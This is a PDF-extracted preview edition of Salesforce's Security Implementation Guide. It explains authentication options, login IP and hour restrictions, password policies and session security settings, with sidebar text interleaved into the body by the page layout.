Salesforce Security Impl Guide
Salesforce Security Impl Guide
PREVIEW
Note: This release is in preview. Features described in this document don’t become generally
available until the latest general availability date that Salesforce announces for this release. Before @salesforcedocs
then, and where features are noted as beta, pilot, or developer preview, we can’t guarantee general Last updated: December 18, 2020
availability within any particular time frame or at all. Make your purchase decisions only on the
basis of generally available products and features.
© Copyright 2000–2020 salesforce.com, inc. All rights reserved. Salesforce is a registered trademark of salesforce.com, inc.,
as are other names and marks. Other marks appearing herein may be trademarks of their respective owners.
CONTENTS
INDEX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 349
CHAPTER 1 Salesforce Security Guide
In this chapter ... Salesforce is built with security to protect your data and applications. You can also implement your own
security scheme to reflect the structure and needs of your organization. Protecting your data is a joint
• Salesforce Security responsibility between you and Salesforce. The Salesforce security features enable you to empower your
Basics users to do their jobs safely and efficiently.
• Authenticate Users
• Give Users Access to
Data
• Share Objects and
Fields
• Strengthen Your
Data's Security with
Shield Platform
Encryption
• Monitoring Your
Organization’s
Security
• Real-Time Event
Monitoring
• Security Guidelines
for Apex and
Visualforce
Development
1
Salesforce Security Guide Salesforce Security Basics
IN THIS SECTION:
Phishing and Malware
If you see something suspicious related to your Salesforce implementation, report it to [email protected], in
addition to your own IT or security team. Trust starts with transparency. That’s why Salesforce displays real-time information on
system performance and security at http://trust.salesforce.com. For security-specific information, go to
http://trust.salesforce.com/security. This site provides live data on system performance, alerts for current and
recent phishing and malware attempts, and tips on security best practices for your organization.
Security Health Check
As an admin, you can use Health Check to identify and fix potential vulnerabilities in your security settings, all from a single page. A
summary score shows how your org measures against a security baseline, like the Salesforce Baseline Standard. You can upload up
to five custom baselines to use instead of the Salesforce Baseline Standard.
Auditing
Auditing provides information about use of the system, which can be critical in diagnosing potential or real security issues. The
Salesforce auditing features don't secure your organization by themselves; someone in your organization should do regular audits
to detect potential abuse.
Salesforce Shield
Salesforce Shield is a trio of security tools that helps admins and developers build extra levels of trust, compliance, and governance
right into business-critical apps. It includes Shield Platform Encryption, Event Monitoring, and Field Audit Trail. Ask your Salesforce
administrator if Salesforce Shield is available in your organization.
2
Salesforce Security Guide Phishing and Malware
• Malware is software designed to infiltrate or damage a computer system without the owner's informed consent. It’s a general term
used to cover various forms of hostile or intrusive software, including computer viruses,, and spyware. For a list of current security
advisories, go to https://trust.salesforce.com/en/security/security-advisories.
3
Salesforce Security Guide Security Health Check
• Treat all emails and cases originating from external email addresses as potentially untrustworthy.
• If an email or email-generated case contains messages instructing you to do any of the following, it’s most likely a phishing attempt:
– Click a link.
– Open an attachment.
– Validate your password.
– Log in to your account.
– Enter personal details or credentials.
If you receive a phishing email or Email-to-Case, delete it and notify your internal IT team. We appreciate your trust in us as we continue
to make your success our top priority.
USER PERMISSIONS
Example: Suppose that you changed your password minimum length from 8 (the default
value) to 5, and changed other Password Policies settings to be less restrictive. These changes
make your users’ passwords more vulnerable to guessing and other brute force attacks. As a
result, your overall score decreases, and the settings are listed as risks.
4
Salesforce Security Guide Auditing
SEE ALSO:
Salesforce Help: How Is the Health Check Score Calculated?
Salesforce Help: Create a Custom Baseline for Health Check
Salesforce Help: Custom Baseline File Requirements
Auditing
Auditing provides information about use of the system, which can be critical in diagnosing potential or real security issues. The Salesforce
auditing features don't secure your organization by themselves; someone in your organization should do regular audits to detect potential
abuse.
To verify that your system is actually secure, you should perform audits to monitor for unexpected changes or usage trends.
Record Modification Fields
All objects include fields to store the name of the user who created the record and who last modified the record. This provides some
basic auditing information.
Login History
You can review a list of successful and failed login attempts to your organization for the past six months. See Monitor Login History
on page 233.
Field History Tracking
You can also enable auditing for individual fields, which will automatically track any changes in the values of selected fields. Although
auditing is available for all custom objects, only some standard objects allow field-level auditing. See Field History Tracking on page
234.
Setup Audit Trail
Administrators can also view a Setup Audit Trail, which logs when modifications are made to your organization’s configuration. See
Monitor Setup Changes with Setup Audit Trail on page 240.
Salesforce Shield
Salesforce Shield is a trio of security tools that helps admins and developers build extra levels of trust, compliance, and governance right
into business-critical apps. It includes Shield Platform Encryption, Event Monitoring, and Field Audit Trail. Ask your Salesforce administrator
if Salesforce Shield is available in your organization.
5
Salesforce Security Guide Authenticate Users
And if you want to ask questions or find the latest information about Shield improvements, the map has you covered. The button bar
at the bottom of the map offers links to Shield-specific Trailblazer Community groups, discussion forums, on-demand webinars, and
release notes.
Authenticate Users
Authentication means preventing unauthorized access to your organization or its data by making sure each logged in user is who they
say they are.
6
Salesforce Security Guide Elements of User Authentication
IN THIS SECTION:
Elements of User Authentication
Salesforce provides several methods to authenticate users. Some methods are automatically enabled, and some require that you
enable and configure them. Using this user authentication spectrum, you can build authentication to fit your org’s needs and your
users’ use patterns.
Configure User Authentication
Choose login settings to ensure that your users are who they say they are.
Connected Apps
A connected app is a framework that enables an external application to integrate with Salesforce using APIs and standard protocols,
such as SAML, OAuth, and OpenID Connect. Connected apps use these protocols to authenticate, authorize, and provide single
sign-on (SSO) for external apps. The external apps that are integrated with Salesforce can run on the customer success platform,
other platforms, devices, or SaaS subscriptions. For example, when you log in to your Salesforce mobile app and see your data from
your Salesforce org, you’re using a connected app.
IN THIS SECTION:
Manage User Passwords
Salesforce provides each user in your org with a unique username and password that the user must enter at each login. As an admin,
you can configure several settings to ensure that your users’ passwords are strong and secure.
Cookies
Salesforce issues a session cookie to record encrypted authentication information for the duration of a specific session.
Single Sign-On
Salesforce has its own system of user authentication, but some companies prefer to use an existing single sign-on capability to
simplify and standardize their user authentication.
My Domain
With My Domain, you specify a customer-specific name to include in your Salesforce org URLs and register it with Salesforce domain
registries worldwide. You can also customize your login page and better manage user login and authentication.
7
Salesforce Security Guide Elements of User Authentication
Multi-Factor Authentication
Multi-factor authentication (MFA) is an effective way to increase protection for user accounts against common threats like phishing
attacks, credential stuffing, and account takeovers. As a Salesforce admin, amplify your org’s security by requiring an extra level of
authentication for every user login. You can also require MFA when a user meets certain criteria, such as attempting to view reports
or access a connected app.
Network-Based Security
Network-based security limits where users can log in from, and when they can log in. This is different from user authentication, which
only determines who can log in. Use network-based security to limit the window of opportunity for an attacker and to make it more
difficult for an attacker to use stolen credentials.
Device Activation
Device activation tracks information about the devices from which users have verified their identity. Salesforce prompts users to
verify their identity when they access Salesforce from an unrecognized browser or application. Device activation is an extra layer of
security on top of username and password authentication.
Session Security
After logging in, a user establishes a session with the platform. Use session security to limit exposure to your network when a user
leaves the computer unattended while still logged in. Session security also limits the risk of internal attacks, such as when one
employee tries to use another employee’s session. Choose from several session settings to control session behavior.
Custom Login Flows
A login flow directs users through a login process before they access your Salesforce org or Experience Cloud site. You can use a
login flow to control the business processes that your users follow when they log in to Salesforce. After Salesforce authenticates a
user, the login flow directs the user through a process, such as enforcing strong authentication or collecting user information. When
users complete the login flow successfully, they’re redirected to their Salesforce org or site. If unsuccessful, the flow can log out users
immediately.
Single Sign-On
Single sign-on (SSO) is an authentication method that enables users to access multiple applications with one login and one set of
credentials. For example, after users log in to your org, they can automatically access all apps from the App Launcher. You can set
up your Salesforce org to trust a third-party identity provider to authenticate users. Or you can configure a third-party app to rely on
your org for authentication.
Desktop Client Access
Connect for Office is a desktop client that integrates Salesforce with your PC. As an administrator, you can control which desktop
clients your users can access as well as whether users are automatically notified when updates are available.
8
Salesforce Security Guide Elements of User Authentication
Identity Providers
An identity provider is a trusted provider that lets you use single sign-on (SSO) to access other websites. A service provider is a website
that hosts apps. You can enable Salesforce as an identity provider and define one or more service providers. Your users can then access
other apps directly from Salesforce using SSO. SSO is a great help to your users—instead of having to remember many passwords, they
only have to remember one.
For more information, see “Identity Providers and Service Providers” in Salesforce Help.
My Domain
With My Domain, you specify a customer-specific name to include in your Salesforce org URLs and register it with Salesforce domain
registries worldwide. You can also customize your login page and better manage user login and authentication.
With My Domain, you can:
• Highlight your business identity with your unique domain URL.
• Brand your login page, and customize content on the right side of the page.
• Block or redirect page requests that don’t use the new domain name.
• Work in multiple Salesforce orgs in the same browser at the same time.
• Set custom login policy to determine how users are authenticated.
• Let users log in using a social account like Google or Facebook from the login page.
• Allow users to log in one time to access external services.
• Preserve deep links such as https://MyDomainName.my.salesforce.com/001/o during future instance refreshes
and org migrations.
For more information, see My Domain in Salesforce Help.
9
Salesforce Security Guide Elements of User Authentication
Multi-Factor Authentication
Multi-factor authentication (MFA) is an effective way to increase protection for user accounts against
EDITIONS
common threats like phishing attacks, credential stuffing, and account takeovers. As a Salesforce
admin, amplify your org’s security by requiring an extra level of authentication for every user login. Available in: both Salesforce
You can also require MFA when a user meets certain criteria, such as attempting to view reports or Classic (not available in all
access a connected app. orgs) and Lightning
Experience
Note: Multi-factor authentication was formerly called two-factor authentication or 2FA.
Available in: Essentials,
With MFA, users are required to prove they’re who they say they are by providing two or more Group, Professional,
pieces of evidence—or factors—when they log in. One factor is the user’s username and password Enterprise, Performance,
combination. The requirement for additional factors is satisfied through the use of a verification Unlimited, Developer, and
method that the user has in their possession, such as an authenticator app or a Universal Second Contact Manager Editions
Factor (U2F) security key. As an admin, you enable MFA through permissions or profile settings.
Users register verification methods for MFA through their own personal settings. Registering more
than one method is recommended.
For more information, see the following Help articles, the Admin Guide to Multi-Factor Authentication, and the Trailhead Module Secure
Your Users’ Identity.
You can also watch these MFA-related videos:
Set Up a Multi-Factor Authentication Requirement for Your Org
Lightning Login Overview (English Only)
SEE ALSO:
Multi-Factor Authentication Considerations
Network-Based Security
Network-based security limits where users can log in from, and when they can log in. This is different from user authentication, which
only determines who can log in. Use network-based security to limit the window of opportunity for an attacker and to make it more
difficult for an attacker to use stolen credentials.
Device Activation
Device activation tracks information about the devices from which users have verified their identity.
EDITIONS
Salesforce prompts users to verify their identity when they access Salesforce from an unrecognized
browser or application. Device activation is an extra layer of security on top of username and Available in: both Salesforce
password authentication. Classic (not available in all
When a user logs in from outside a trusted IP range from an unrecognized browser or app, Salesforce orgs) and Lightning
challenges the user to verify identity. Salesforce uses the highest-priority verification method Experience
available for each user. In order of priority, the methods are: Available in: Essentials,
1. Push notification or location-based automated verification with the Salesforce Authenticator Group, Professional,
mobile app (version 2 or later) connected to the user’s account Enterprise, Performance,
Unlimited, Developer, and
2. U2F security key registered with the user’s account
Contact Manager Editions
3. Verification code generated by a mobile authenticator app connected to the user’s account
4. Verification code sent via SMS to the user’s verified mobile device
10
Salesforce Security Guide Elements of User Authentication
5. Verification code sent via email to the user’s registered email address
Session Security
After logging in, a user establishes a session with the platform. Use session security to limit exposure to your network when a user leaves
the computer unattended while still logged in. Session security also limits the risk of internal attacks, such as when one employee tries
to use another employee’s session. Choose from several session settings to control session behavior.
You can control when an inactive user session expires. The default session timeout is two hours of inactivity. When the session timeout
is reached, users are prompted with a dialog that allows them to log out or continue working. If they don’t respond to this prompt, they
are logged out.
Note: When users close a browser window or tab, they aren’t automatically logged out from their Salesforce session. Ensure that
your users are aware of this behavior and that they end all sessions properly by selecting Your Name > Logout.
By default, Salesforce uses TLS (Transport Layer Security) and requires secure connections (HTTPS) for all communication. The Require
secure connections (HTTPS) setting determines whether TLS (HTTPS) is required for access to Salesforce. If you ask Salesforce to disable
this setting and change the URL from https:// to http://, you can still access the application. However, for added security,
require all sessions to use TLS. For more information, see Modify Session Security Settings on page 28.
You can restrict access to certain types of resources based on the level of security associated with the authentication method for the
user’s current session. By default, each login method has one of two security levels: Standard or High Assurance. You can change the
session security level and define policies so that specified resources are available only to users assigned a High Assurance level. For
details, see Session-level Security on page 35.
You can control whether your org stores user logins and whether they can appear from the Switcher with the settings Enable caching
and autocomplete on login page, Enable user switching, and Remember me until logout.
Note: You can’t apply login flows to API logins or when sessions are passed to the UI through frontdoor.jsp from a non-UI
login process.
11
Salesforce Security Guide Elements of User Authentication
IN THIS SECTION:
Create a Login Flow with Flow Builder
Use the point-and-click Flow Builder to create a login flow declaratively. With this tool, you create a screen flow—a collection of
screens and connectors that step users through a business process when they log in.
Create a Custom Login Flow with Visualforce
Use Visualforce and an Apex controller to create a custom login flow programmatically. With Visualforce, you have complete control
over how your login page looks, behaves, and directs users after they complete the flow. You can design your login page from scratch
and control every pixel of the page.
SEE ALSO:
Login Flow Examples
12
Salesforce Security Guide Elements of User Authentication
Single Sign-On
Single sign-on (SSO) is an authentication method that enables users to access multiple applications
EDITIONS
with one login and one set of credentials. For example, after users log in to your org, they can
automatically access all apps from the App Launcher. You can set up your Salesforce org to trust a Available in: both Salesforce
third-party identity provider to authenticate users. Or you can configure a third-party app to rely Classic (not available in all
on your org for authentication. orgs) and Lightning
When you set up SSO, you configure one system to trust another to authenticate users, eliminating Experience
the need for users to log in to each system separately. The system that authenticates users is called Federated Authentication is
an identity provider. The system that trusts the identity provider for authentication is called the available in: All Editions
service provider.
Delegated Authentication is
For example, you can configure Google as an identity provider to authenticate users accessing your available in: Professional,
org. So users log in to your org using their Google credentials. In this example, your org acts as the Enterprise, Performance,
service provider, trusting Google to accurately authenticate users. Unlimited, Developer, and
You can configure your Salesforce org as an identity provider, a service provider, or both. For each Database.com Editions
of these use cases, you select the authentication protocol to use. Salesforce supports SSO with Authentication Providers are
SAML and OpenID Connect. Salesforce also has preconfigured authentication providers that you available in: Professional,
can use to enable SSO with systems that have their own authentication protocols, like Facebook. Enterprise, Performance,
For more information, see Single Sign-On Use Cases. To see a SAML SSO implementation where Unlimited, and Developer
Salesforce is the identity provider, watch this video. Editions
You can also set up a single identity provider to authenticate users for multiple service providers.
For example, you can enable your org as an identity provider and configure Workday and Office USER PERMISSIONS
365 as service providers. Users can then access your org, Workday, and Office 365 with one login.
To view the settings:
After you configure SSO, set up Single Logout so users can log out of a service provider and identity
• View Setup and
provider at the same time.
Configuration
To edit the settings:
SSO Content • Customize Application
Refer to the following Help articles to learn about and set up SSO in Salesforce. AND
Modify All Data
SEE ALSO:
FAQs for Single Sign-On
You can set users' access to desktop client by editing their profiles. Connect for Office available
The desktop client access options are: in: All Editions except
Database.com
13
Salesforce Security Guide Elements of User Authentication
Option Meaning
Off (access denied) The respective client download page in users’ personal settings is hidden. Also,
users can't log in from the client.
On, no updates The respective client download page in users’ personal settings is hidden. Users
can log in from the client but can't upgrade it from their current version.
On, updates w/o alerts Users can download, log in from, and upgrade the client, but don't see alerts
when a new version is made available.
On, updates w/alerts Users can download, log in from, and upgrade the client. They can see update
alerts, and can follow or ignore them.
On, must update w/alerts Users can download, log in from, and upgrade the client. When a new version
is available, they can see an update alert. They can't log in from the client until
they have upgraded it.
Note:
• Desktop client access is available only for users whose profiles have the “API Enabled” permission.
If users can see alerts and they have logged in to Salesforce from the client in the past, an alert banner automatically appears in the
Home tab when a new version is available. Clicking the banner opens the Check for Updates page, where users can download and run
installer files. From their personal settings, users can also access the Check for Updates page, regardless of whether an alert has occurred.
IN THIS SECTION:
Desktop Client Access in the Enhanced Profile User Interface
To make updates to your desktop client access settings, use the enhanced profile user interface. For example, change Connect for
Outlook alert settings from here.
View and Edit Desktop Client Access in the Original Profile User Interface
14
Salesforce Security Guide Configure User Authentication
Note: To access desktop clients, users must also have the “API Enabled” permission. Available in: Enterprise,
Performance, Unlimited,
On the Desktop Client Access page in the enhanced profile user interface, you can: and Developer Editions
• Search for an object, permission, or setting
• Clone the profile USER PERMISSIONS
• Delete custom profile To view desktop client
• Change the profile name or description access settings:
• Go to the profile overview page • View Setup and
Configuration
• Switch to a different settings page
To edit desktop client access
settings:
• Manage Profiles and
Permission Sets
View and Edit Desktop Client Access in the Original Profile User Interface
Connect for Office is a desktop client that integrates Salesforce with your PC. As an administrator,
EDITIONS
you can control which desktop clients your users can access as well as whether users are
automatically notified when updates are available. Connect for Office available
Note: To access desktop clients, users must also have the “API Enabled” permission. in: both Salesforce Classic
and Lightning Experience
1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
Connect for Office available
2. Click Edit next to a profile name, and scroll to the Desktop Integration Clients section at the in: All Editions except
bottom of the page. Database.com
Choose login settings to ensure that your users are who they say they are. To view desktop client
access settings:
• View Setup and
IN THIS SECTION: Configuration
Restrict Where and When Users Can Log In to Salesforce To edit desktop client access
You can restrict the hours during which users can log in and the range of IP addresses from settings:
which they can log in and access Salesforce. If IP address restrictions are defined for a user’s • Manage Profiles and
profile and a login originates from an unknown IP address, Salesforce does not allow the user Permission Sets
to log in. These restrictions help protect your data from unauthorized access and phishing
attacks.
Set Password Policies
Improve your Salesforce org’s security with password protection. You can set password history, length, and complexity requirements.
You can also specify what to do when a user forgets the password.
15
Salesforce Security Guide Configure User Authentication
Login Hours
For each profile, you can set the hours when users can log in. See:
• View and Edit Login Hours in the Enhanced Profile User Interface
• View and Edit Login Hours in the Original Profile User Interface
16
Salesforce Security Guide Configure User Authentication
17
Salesforce Security Guide Configure User Authentication
• If the user is logging in from an IP address on your org’s trusted IP address list, the login is allowed.
• If the user isn’t logging in from a trusted IP address, device, or browser that Salesforce recognizes, the login is blocked.
Whenever a login is blocked or returns an API login fault, Salesforce verifies the user’s identity.
• For access via the user interface, the user is prompted to verify using Salesforce Authenticator (version 2 or later) or enter a verification
code.
Note: Users aren’t asked for a verification code the first time they log in to Salesforce.
• For access via the API or client app, if the Multi-Factor Authentication on API Logins permission is set on the user profile, users enter
a TOTP verification code generated by an authenticator app.
If the permission isn’t set, users must add their security token to the end of their password to log in. A security token is a generated
key from Salesforce. For example, if a user’s password is mypassword and the security token is XXXXXXXXXX, the user enters
mypasswordXXXXXXXXXX to log in. Some client apps have a separate field for the security token.
Users can get their security token by changing their password or resetting their security token via the Salesforce user interface. When
a user changes a password or resets a security token, Salesforce sends a new security token to the email address on the user’s
Salesforce record. The security token is valid until the user resets the security token, changes a password, or has a password reset.
Tip: Before you access Salesforce from a new IP address, we recommend that you get your security token from a trusted
network using Reset My Security Token.
IN THIS SECTION:
Restrict Login IP Ranges in the Enhanced Profile User Interface
Control login access at the user level by specifying a range of allowed IP addresses on a user’s profile. When you define IP address
restrictions for a profile, a login from any other IP address is denied.
Restrict Login IP Addresses in the Original Profile User Interface
Control login access at the user level by specifying a range of allowed IP addresses on a user’s profile. When you define IP address
restrictions for a profile, a login from any other IP address is denied.
18
Salesforce Security Guide Configure User Authentication
View and Edit Login Hours in the Enhanced Profile User Interface
For each profile, you can specify the hours when users can log in.
View and Edit Login Hours in the Original Profile User Interface
Specify the hours when users can log in based on the user profile.
Set Trusted IP Ranges for Your Organization
Trusted IP Ranges define a list of IP addresses from which users can log in without receiving a login challenge for verification of their
identity, such as a code sent to their mobile phone.
Note: You can further restrict access to Salesforce to only those IPs in Login IP Ranges. To enable this option, in Setup, enter
Session Settings in the Quick Find box, then select Session Settings and select Enforce login IP ranges on every
request. This option affects all user profiles that have login IP restrictions.
19
Salesforce Security Guide Configure User Authentication
• In a Professional Edition, the location of IP ranges depends on whether you have the "Edit
Profiles & Page Layouts" org preference enabled as an add-on feature. USER PERMISSIONS
With the "Edit Profiles & Page Layouts" org preference enabled, IP ranges are on individual To view login IP ranges:
profiles. • View Setup and
Without the "Edit Profiles & Page Layouts" org preference enabled, IP ranges are on the Configuration
Session Settings page. To edit and delete login IP
ranges:
2. Click New in the Login IP Ranges related list. • Manage Profiles and
Permission Sets
3. Enter a valid IP address in the IP Start Address field and a higher-numbered IP address
in the IP End Address field.
The start and end addresses define the range of allowable IP addresses from which users can log in. To allow logins from a single IP
address, enter the same address in both fields.
• The IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6 address space
::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is
255.255.255.255. A range can’t include IP addresses both inside and outside of the IPv4-mapped IPv6 address space.
Ranges like 255.255.255.255 to ::1:0:0:0 or :: to ::1:0:0:0 aren’t allowed.
• Partner User profiles are limited to five IP addresses. To increase this limit, contact Salesforce.
4. Optionally enter a description for the range. If you maintain multiple ranges, use the Description field to provide details, such as
which part of your network corresponds to this range.
5. Click Save.
Note: Cache settings on static resources are set to private when accessed via a Salesforce Site whose guest user's profile has
restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static resources only within the browser.
Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the static resources to expire from the Salesforce
cache and any intermediate caches.
Note: You can further restrict access to Salesforce to only those IPs in Login IP Ranges. To enable this option, in Setup, enter
Session Settings in the Quick Find box, then select Session Settings and select Enforce login IP ranges on every
request. This option affects all user profiles that have login IP restrictions.
20
Salesforce Security Guide Configure User Authentication
View and Edit Login Hours in the Enhanced Profile User Interface
For each profile, you can specify the hours when users can log in.
EDITIONS
1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
Available in: Salesforce
2. Select a profile, and click its name.
Classic (not available in all
3. In the profile overview page, scroll down to Login Hours and click Edit. orgs) and Lightning
4. Set the days and hours when users with this profile can log in to the org. Experience
To let users log in at any time, click Clear all times. To prohibit users from logging in on a Available in: Professional,
specific day, set Start Time to 12 AM and End Time to End of Day. Enterprise, Performance,
Unlimited, Developer, and
If users are logged in when their login hours end, they can continue to view their current page,
Database.com Editions
but they can’t take any further action.
Custom Profiles available in:
Note: The first time login hours are set for a profile, the hours are based on the org’s default Professional, Enterprise,
time zone as specified on the Company Information page in Setup. After that, changes to the Performance, Unlimited,
org’s default time zone on the Company Information page don’t affect the time zone for the and Developer Editions
profile’s login hours. The profile login hours remain the same, even when a user is in a different
time zone or the org’s default time zone changes. USER PERMISSIONS
Depending on whether you’re viewing or editing login hours, the hours can be different. On
the Login Hours edit page, hours appear in your specified time zone. On the profile overview To view login hour settings:
page, hours appear in the org’s original default time zone. • View Setup and
Configuration
To edit login hour settings:
• Manage Profiles and
Permission Sets
View and Edit Login Hours in the Original Profile User Interface
Specify the hours when users can log in based on the user profile.
EDITIONS
1. From Setup, enter Profiles in the Quick Find box. Select Profiles, and then select a profile.
Available in: Salesforce
2. In the Login Hours related list, click Edit.
Classic (not available in all
3. Set the days and hours when users with this profile can log in to the org. orgs) and Lightning
To let users log in at any time, click Clear all times. To prohibit users from logging in on a Experience
specific day, set Start Time to 12 AM and End Time to End of Day. Available in: Enterprise,
If users are logged in when their login hours end, they can continue to view their current page, Performance, Unlimited,
but they can’t take any further action. Developer, and
Database.com Editions
4. Click Save.
Note: The first time login hours are set for a profile, the hours are based on the org’s default USER PERMISSIONS
time zone as specified on the Company Information page in Setup. After that, changes to the
org’s default time zone on the Company Information page don’t affect the time zone for the To set login hours:
profile’s login hours. The profile login hours remain the same, even when a user is in a different • Manage Profiles and
Permission Sets
time zone or the org’s default time zone changes.
Depending on whether you’re viewing or editing login hours, the hours appear differently.
On the profile detail page, hours appear in your specified time zone. On the Login Hours edit
page, the hours appear in the org’s default time zone.
21
Salesforce Security Guide Configure User Authentication
Note: Who Sees What: Organization Access (English only) Available in: both Salesforce
Classic (not available in all
Watch how you can restrict login through IP ranges and login hours. orgs) and Lightning
Experience
To help protect your organization’s data from unauthorized access, you can specify a list of IP
addresses from which users can log in without receiving a login challenge. However, this does not Available in: All Editions
restrict access, entirely, for users outside of the Trusted IP Range. After these users complete the
login challenge (usually by entering a code sent to their mobile device or email address), they can
USER PERMISSIONS
log in.
1. From Setup, enter Network Access in the Quick Find box, then select Network To change network access:
Access. • Manage IP Addresses
2. Click New.
3. Enter a valid IP address in the Start IP Address field and a higher IP address in the End IP Address field.
The start and end addresses define the range of allowable IP addresses from which users can log in, including the start and end
values. If you want to allow logins from a single IP address, enter the same address in both fields.
The start and end IP addresses must be in an IPv4 range and include no more than 33,554,432 addresses (225, a /7 CIDR block).
4. Optionally, enter a description for the range. For example, if you maintain multiple ranges, enter details about the part of your network
that corresponds to this range.
5. Click Save.
Note: For organizations that were activated before December 2007, Salesforce automatically populated your organization’s
trusted IP address list in December 2007, when this feature was introduced. The IP addresses from which trusted users had already
accessed Salesforce during the past six months were added.
22
Salesforce Security Guide Configure User Authentication
Field Description
User passwords expire in The length of time until a user password expires and must be
changed. The default is 90 days. This setting isn’t available for
Self-Service portals.
Enforce password history Save users’ previous passwords so that they must use a new,
unique password when changing passwords. Password history
is not saved until you set this value. The default is 3
passwords remembered. You cannot select No
passwords remembered unless you select Never expires for
the User passwords expire in field. This setting isn’t
available for Self-Service portals.
Minimum password length The minimum number of characters required for a password.
When you set this value, existing users aren’t affected until the
next time they change their passwords. The default is 8
characters.
23
Salesforce Security Guide Configure User Authentication
Field Description
Password complexity requirement The types of characters that must be used in a user’s password.
• No restriction—Has no requirements and is the least
secure option.
• Must include alpha and numeric
characters—The default setting. Requires at least one
alphabetic character and one number.
• Must include alpha, numeric, and
special characters—Requires at least one
alphabetic character, one number, and one of the following
characters: ! " # $ % & ' ( ) * + , - . /
: ; < = > ? @ [ \ ] ^ _ ` { | } ~.
• Must include numbers and uppercase and
lowercase letters—Requires at least one number,
one uppercase letter, and one lowercase letter.
• Must include numbers, uppercase and
lowercase letters, and special
characters—Requires at least one number, one
uppercase letter, one lowercase letter, and one of the
following characters: ! " # $ % & ' ( ) * + ,
- . / : ; < = > ? @ [ \ ] ^ _ ` { | }
~.
• Must include 3 of the following:
numbers, uppercase letters, lowercase
letters, special characters—Requires at
least three of the following options: one number, one
uppercase letter, one lowercase letter, and one special
character (! " # $ % & ' ( ) * + , - . / :
; < = > ? @ [ \ ] ^ _ ` { | } ~).
Password question requirement The restrictions to place on the password hint’s answer.
• Cannot contain password—Restricts the answer
from containing the password.
• None—Places no restrictions on the answer. The user must
provide an answer to the password hint question. This setting
is the default.
This setting is not available for Self-Service portals, the
Customer Portal, or partner portals.
Maximum invalid login attempts The number of login failures allowed for a user before the user
is locked out. This setting isn’t available for Self-Service portals.
24
Salesforce Security Guide Configure User Authentication
Field Description
Lockout effective period The duration of the login lockout. The default is 15 minutes. This
setting isn’t available for Self-Service portals.
When a user is logged in to an active session but is later locked
out, the user remains logged in to the active session.
Obscure secret answer for password resets Hide answers to security questions as the user types. The default
is to show the answer in plain text.
Require a minimum 1 day password lifetime A password can’t be changed more than once in a 24-hour
period. This policy applies to all password changes, including
password resets by Salesforce admins.
Allow use of setPassword() API for When selected, apps can use the setPassword() API to
self-resets change the current user’s password to a specific value. Deselect
this option for increased security. When deselected, apps must
use the changeOwnPassword() API to prompt users to
set their password value. The changeOwnPassword() API
verifies the user’s current password before allowing the change.
When you deselect this option, you can’t select it again.
Note: This setting is not available for Self-Service portals, the Customer Portal, or partner portals.
25
Salesforce Security Guide Configure User Authentication
Field Description
Message If set, the message you enter appears in the We can’t reset your
password email. Users receive this email when they lock
themselves out by trying to reset their password too many times.
The text also appears at the bottom of the Answer Your Security
Question page when users reset their passwords.
You can add the name of your internal help desk or a system
admin to the default text. The message appears only for accounts
that need an admin to reset the password. Lockouts due to time
restrictions get a different system email message.
Help link If set, this link displays along with the text defined in the
Message field. In the We can’t reset your password email, the
URL displays exactly as it is typed in the Help link field. This
format provides extra security because the user isn’t within a
Salesforce org but can still see where the link goes.
On the Answer Your Security Question page, the Help link
URL combines with the text in the Message field and forms a
clickable link. Security isn’t an issue because the user is in a
Salesforce org when changing passwords.
Valid protocols are:
• http
• https
• mailto
4. Specify an alternative home page for users with the API Only User permission. After completing user management tasks such as
resetting a password, API-only users are redirected to the specified URL rather than to the login page.
5. Click Save.
26
Salesforce Security Guide Configure User Authentication
27
Salesforce Security Guide Configure User Authentication
Disable session timeout warning Determines whether the system prompts inactive users
popup with a timeout warning message. Users are prompted
30 seconds before timeout, as specified by the timeout
value.
Force logout on session timeout Requires that when sessions time out for inactive users,
current sessions become invalid. The browser refreshes
and returns to the login page. To access the org, the
user must log in again.
Lock sessions to the IP address from Determines whether user sessions are locked to the IP
which they originated address from which the user logged in, helping to
prevent unauthorized persons from hijacking a valid
session.
28
Salesforce Security Guide Configure User Authentication
Field Description
Note: This setting can inhibit various applications and mobile devices.
Lock sessions to the domain in which they were Associates a current UI session for a user, such as a community user, with a
first used specific domain. The setting helps prevent unauthorized use of the session
ID in another domain. This setting is enabled by default for orgs created with
the Spring ’15 release or later.
Require secure connections (HTTPS) Determines whether HTTPS is required to log in to or access Salesforce.
This setting is enabled by default for security reasons. This setting does not
apply to API requests. All API requests require HTTPS.
To enable HTTPS on communities and Salesforce Sites, see HSTS for Sites and
Communities.
Note:
• The Reset Passwords for Your Users page can only be accessed
using HTTPS.
• If this setting is disabled, Salesforce won't be fully functional for
Google Chrome users after the Chrome 80 release in February 2020.
The default SameSite behavior for cookies in Chrome requires
HTTPS in Salesforce.
Require secure connections (HTTPS) for all Determines whether HTTPS is required for connecting to third-party domains.
third-party domains This setting is enabled by default on accounts created after the Summer ’17
release.
Force relogin after Login-As-User Determines whether an admin who is logged in as another user is returned
to their previous session after logging out as the secondary user.
If the setting is enabled, an admin must log in again to continue using
Salesforce after logging out as the user. Otherwise, the admin is returned to
the original session after logging out as the user. This setting is enabled by
default for all orgs.
Require HttpOnly attribute Restricts session ID cookie access. A cookie with the HttpOnly attribute is not
accessible via non-HTTP methods, such as calls from JavaScript.
29
Salesforce Security Guide Configure User Authentication
Field Description
Use POST requests for cross-domain sessions Sets the org to send session information using a POST request, instead of a
GET request, for cross-domain exchanges. An example of a cross-domain
exchange is when using a Visualforce page. In this context, POST requests are
more secure than GET requests because POST requests keep the session
information in the body of the request. However, if you enable this setting,
sometimes embedded content, such as an image, from another domain
doesn’t display.
Enforce login IP ranges on every request Restricts the IP addresses from which users can access Salesforce to only the
IP addresses defined in Login IP Ranges. If this setting is enabled, login IP
ranges are enforced on each page request, including requests from client
applications. If this setting isn’t enabled, login IP ranges are enforced only
when a user logs in. This setting affects all user profiles that have login IP
restrictions.
